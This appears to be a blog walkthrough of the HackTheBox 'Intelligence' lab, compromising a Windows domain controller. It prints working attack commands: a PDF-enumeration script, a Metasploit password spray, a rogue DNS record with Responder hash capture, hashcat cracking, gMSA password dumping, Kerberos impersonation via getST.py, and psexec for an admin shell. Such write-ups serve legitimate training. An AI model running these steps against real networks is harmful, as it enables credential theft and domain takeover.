This HackTheBox can be found here.
Intelligence is included in TJnull’s OSCP, OSEP, and OSWE list.
Recon
Like always, we’ll start with a Nmap scan:
1
sudo nmap -T4 -p- -oN allports -sC -sV 10.10.10.248
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Nmap scan report for 10.10.10.248
Host is up (0.030s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-04 22:21:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2023-12-04T22:23:23+00:00; +6h59m58s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-12-04T22:23:24+00:00; +6h59m58s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2023-12-04T22:23:23+00:00; +6h59m58s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after: 2022-04-19T00:43:16
|_ssl-date: 2023-12-04T22:23:24+00:00; +6h59m58s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-time:
| date: 2023-12-04T22:22:44
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
We see that the machine is named dc
and in a domain named intelligence.htb
. Let’s add these to our /etc/hosts
file:
1
2
echo '10.10.10.248 intelligence.htb' | sudo tee -a /etc/hosts
echo '10.10.10.248 dc.intelligence.htb' | sudo tee -a /etc/hosts
Most of the ports are standard for a Domain Controller. Port 5985 is open, so we know we can use WinRM to connect once we have credentials. Let’s start by looking at port 80.
This webapp has a form to subscribe (that doesn’t send any data), and there is a link to two documents:
http://dc.intelligence.htb/documents/2020-12-15-upload.pdf
http://dc.intelligence.htb/documents/2020-01-01-upload.pdf
Trying to hit http://dc.intelligence.htb/documents/
gives us a 403 Forbidden error.
Initial Foothold
If we download a PDF, we can run exiftool against it and see a username within the Creator
field:
We can see that the documents have a naming convention of YYYY-MM-DD-upload.pdf
so let’s try to brute force the dates and see if there is anything else hidden. To do this, I wrote a quick python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import urllib.request
from datetime import datetime, date, timedelta
from PyPDF2 import PdfReader
from io import BytesIO
date = "2020-01-01"
users = []
urls = []
latin = ["dolorem","est","sed","modi"]
while True:
date = datetime.strptime(str(date),'%Y-%m-%d').date()
try:
# The initial request
contents = urllib.request.urlopen("http://dc.intelligence.htb/documents/" + str(date) + "-upload.pdf").read()
# Grab the Author from the metadata
replace_tex = str(contents).find("/Creator (") + 10
start = str(contents).find("/Creator (", replace_tex + 1) + 10
leftover = str(contents)[start:]
end = leftover.find(")")
author = (leftover[:end])
print("http://dc.intelligence.htb/documents/" + str(date) + "-upload.pdf Author: " + author)
# Write the Author to a file
if (author not in users):
users.append(author)
f = open('users.txt', 'a+')
f.write(author + "\n")
f.close
# Write the URL to a file
f = open('urls.txt', 'a+')
f.write("http://dc.intelligence.htb/documents/" + str(date) + "-upload.pdf\n")
f.close
# Check the PDF contents. Filters out most docs containing just Latin
bytes=BytesIO(contents)
reader = PdfReader(bytes)
page = reader.pages[0]
page_text = page.extract_text()
if any(x in page_text for x in latin):
pass
else:
print(page_text)
# If the URL doesn't exist, pass
except urllib.error.HTTPError:
pass
# Increment by one day
date = date + timedelta(days=1)
This script will attempt to grab a PDF by incrementing the date by one day. If it finds a PDF, it will grab the Author and save it to a file named users.txt
. It writes out valid URL’s found to urls.txt
Lastly, it will print the text of the PDF if it doesn’t contain any latin words specified in the latin
list.
We can run it and see what it finds:
1
python3 dates.py
Once the script hits http://dc.intelligence.htb/documents/2021-03-27-upload.pdf
, you can ctrl+c it to exit. It turns out there were a lot of hidden documents, 30 unique users, and we also see that user’s initial password is NewIntelligenceCorpUser9876
.
There is also a note from IT:
I first checked for AS-REP roasting since we have a user list, but no user has the UF_DONT_REQUIRE_PREAUTH
flag set. Next, we can try to password spray our users.txt
list with the default password. I’ll use metasploit for this:
1
2
3
4
5
6
7
msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS dc.intelligence.htb
set SMBDomain intelligence.htb
set USER_FILE users.txt # from the python script
set SMBPass NewIntelligenceCorpUser9876
run
We found a valid account: intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
Using SMBClient, we can list the shares:
1
smbclient -U intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876 -L \\\\dc.intelligence.htb
1
2
3
4
5
6
7
8
9
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
If we connect to the Users
share, we can grab the user.txt flag located at \Tiffany.Molina\Desktop\user.txt
1
smbclient -U intelligence.htb/Tiffany.Molina%NewIntelligenceCorpUser9876 \\\\dc.intelligence.htb\\Users
Privilege Escalation
Looking at the IT
share, there is one file called downdetector.ps1
. We can download it to analyze:
1
2
3
4
5
6
7
8
9
10
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
The above script is pulling all DNS records from LDAP if the name starts with web
. It then attempts to connect to each of them (using credentials) and will email Ted Graves
if the host is down. If we can add a DNS record that points to us, we can use Responder to grab hashed creds. To add the record, I’ll use dnstool.py
from krbrelayx:
1
2
# Make sure to swap out the -d flag with your IP
python3 dnstool.py -dns-ip 10.10.10.248 -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a add -t A -d 10.10.14.8 -r web-test dc.intelligence.htb
Start up responder, and you should the NTLMv2 hash for Ted.Graves
:
1
sudo responder -I tun0
Let’s save the hash to a file and throw hashcat at it:
1
sudo hashcat -m 5600 ted.hash /usr/share/wordlists/rockyou.txt
Cracking is successful, and we have Ted’s password: 'Mr.Teddy'
:
Earlier, I ran ldapdomaindump as Tiffany.Molina
and saw that Ted.Graves
is a member of the IT Support
group. We can run the bloodhound.py ingestor as Ted.Graves
to see our AD permissions:
1
python3 bloodhound.py -d intelligence.htb -u Ted.Graves -p 'Mr.Teddy' -ns 10.10.10.248 --zip -c All
Once we have the zip, we can start neo4j and import it to bloodhound. Looking at the IT Support
group, we can see a path to escalate. IT Support
has ReadGMSAPassword
permissions on the SVC_INT
account and that service account has constrained delegation over the Domain controller.
Let’s first run gMSADumper.py
to grab the NT hash for SVC_INT
:
1
2
3
git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
python3 gMSADumper.py -d intelligence.htb -u Ted.Graves -p 'Mr.Teddy' -l 10.10.10.248
Now that we have the hash, we can use GetST.py
to grab an impersonated ticket for the administrator:
1
2
3
4
5
# I had clock skew issues, so I first had to sync with the DC
sudo ntpdate 10.10.10.248
# Grab the ticket
python3 getST.py -spn www/dc.intelligence.htb -impersonate Administrator -hashes :d4a0554f26a9f3df13720481e07e0a3f -dc-ip 10.10.10.248 intelligence.htb/svc_int
Next, we need to set the KRB5CCNAME
environment variable to the ticket we just grabbed:
1
export KRB5CCNAME=<path to the Administrator.ccache>
To finish this box, we can use impacket’s psexec.py
to get an Admin shell (using the -k
flag for Kerberos auth) and grab the root flag
1
python3 psexec.py -k dc.intelligence.htb
Takeaway
This was a fun box that had a “CTF’y” challenge (brute forcing the PDF’s) while also having a realistic path with the AD privesc. I love how we are seeing more and more Active Directory environments (even though it’s just a single DC) on free boxes compared to only getting this practice by purchasing a paid lab.